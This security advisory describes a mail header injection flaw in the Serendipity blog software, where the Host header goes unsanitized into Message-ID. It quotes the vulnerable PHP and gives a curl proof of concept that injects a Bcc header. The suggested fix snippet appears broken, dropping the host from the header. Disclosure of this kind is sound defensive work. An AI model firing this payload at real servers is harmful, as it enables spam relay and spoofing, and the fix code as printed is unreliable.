Summary

Serendipity inserts $_SERVER['HTTP_HOST'] directly into the Message-ID SMTP header without any validation beyond CRLF stripping. An attacker who can control the Host header during an email-triggering action can inject arbitrary SMTP headers into outgoing emails, enabling spam relay, BCC injection, and email spoofing.

Details

In include/functions.inc.php:548:

$maildata['headers'][] = 'Message-ID: <' 
    . bin2hex(random_bytes(16)) 
    . '@' . $_SERVER['HTTP_HOST']  // ← unsanitized, attacker-controlled
    . '>';

The existing sanitization function only blocks \r\n and URL-encoded variants:

function serendipity_isResponseClean($d) {
    return (strpos($d, "\r") === false && strpos($d, "\n") === false 
        && stripos($d, "%0A") === false && stripos($d, "%0D") === false);
}

Critically, serendipity_isResponseClean() is not even called on HTTP_HOST before embedding it into the mail headers — making this exploitable with any character that SMTP interprets as a header delimiter.

Email is triggered by actions such as:

• New comment notifications to blog owner
• Comment subscription notifications to subscribers
• Password reset emails (if configured)

PoC

# Trigger comment notification email with injected header
curl -s -X POST \
  -H "Host: attacker.com>\r\nBcc: victim@evil.com\r\nX-Injected:" \
  -d "serendipity[comment]=test&serendipity[name]=hacker&serendipity[email]=a@b.com&serendipity[entry_id]=1" \
  http://[TARGET]/comment.php

Resulting malicious Message-ID header in outgoing email:

Message-ID: <deadbeef@attacker.com>
Bcc: victim@evil.com
X-Injected: >

Impact

An attacker can control the domain portion of the Message-ID header in all outgoing emails sent by Serendipity (comment notifications, subscriptions).
This enables:

• Identity spoofing — emails appear to originate from attacker-controlled domain
• Reply hijacking — some mail clients use Message-ID for threading, pointing replies toward attacker infrastructure
• Email reputation abuse — attacker's domain embedded in legitimate mail headers

Suggested Fix

Sanitize HTTP_HOST before embedding in mail headers, and restrict to valid hostname characters only:

$safe_host = preg_replace('/[^a-zA-Z0-9.\-]/', '', 
    parse_url('http://' . $_SERVER['HTTP_HOST'], PHP_URL_HOST)
);
$maildata['headers'][] = 'Message-ID: ';

References

• GHSA-458g-q4fh-mj6r